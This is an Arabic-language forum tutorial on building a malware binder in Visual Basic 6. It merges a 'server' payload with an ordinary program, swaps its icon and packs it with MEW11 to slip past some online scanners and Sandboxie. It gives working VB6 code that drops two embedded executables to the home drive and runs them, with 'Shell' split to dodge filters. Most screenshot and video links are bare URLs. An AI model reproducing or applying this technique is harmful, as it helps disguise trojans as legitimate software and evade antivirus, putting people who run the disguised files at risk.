:: vBspiders Professional Network :: - دمج و تغيير الأيقونة و تخطي بعض موآقع الفحص فقط بالـ [Visual Basic6]

http://img150.imageshack.us/img150/1565/faselpf9zh7.gif

http://img156.imageshack.us/img156/9636/image001m.png

كيف حآلكم إخوآني الكرآم أعضآء شبكة العنآكب الإحترآفية

بخير إن شآء الله smilies10

اليوم معنآ شرح جديد و يتضمن هذآ الشرح

دمج سيرفر مع برنآمج + تخطي بعض موآقع الفحص + تخطي Sandboxie

الطريقة تعتمد على الفجوآل بسيك6

المهم كالعآدة عملت لكم شرح فيديوا + بالصور

تحميل الفيديو مع الأكوآد و البرنآمج المسآعد

http://www.effectmatrix.com/total-vi...r/download.jpg

و الأن الشرح المصور

نفتح مشروع جديد و نضيف في الفورم هذه الأكوآد

كود:

كود:

Private Sub Form_Load() Dim File1() As Byte, File2() As Byte File1 = LoadResData(101, "CUSTOM") File2 = LoadResData(102, "CUSTOM") Open Environ$("homedrive") & "\File1.exe" For Binary As #1 Put #1, , File1 Close #1 Open Environ$("homedrive") & "\File2.exe" For Binary As #1 Put #1, , File2 Close #1 Call Sh ell(Environ$("homedrive") & "\File1.exe", vbNormalFocus) Call Sh ell(Environ$("homedrive") & "\File2.exe", vbNormalFocus) End End Sub

إحذف الفرآغ الموجود في كلمة Sh ell

كمآ موضح في الصورة

http://img105.herosh.com/2010/06/21/620716176.jpg

و الأن نضيف أدآة Resource Editor

http://img101.herosh.com/2010/06/21/716007625.jpg

http://www.novinupload.com/images/13...5450505918.jpg

و الأن نضيف البرنآمج ثم السيرفر

http://www.novinupload.com/images/54...4018452603.jpg

http://img105.herosh.com/2010/06/21/598335860.jpg

ثم نحفظ الروسورس

http://img104.herosh.com/2010/06/21/393409678.jpg
أمآ بالنسبة للأيقونة تغير أيقون الفروم عآدي

و في الأخير نعمل تكوين للمشروع

http://img101.herosh.com/2010/06/21/985377065.jpg

ثم نفتحه بوآسطة برنآمج MEW11

http://img102.herosh.com/2010/06/21/686260387.jpg

و في الأخير تكون حصل على برنآمج مدموج + يتخطى بعض موآقع الفحص

أرجوآ أن يكون الشرح مفهوم

أي إستفسآر أنآ في الخدمة

بالتوفيق للجميع

http://www.dev-point.com/vb/imagize/smilies/1.gif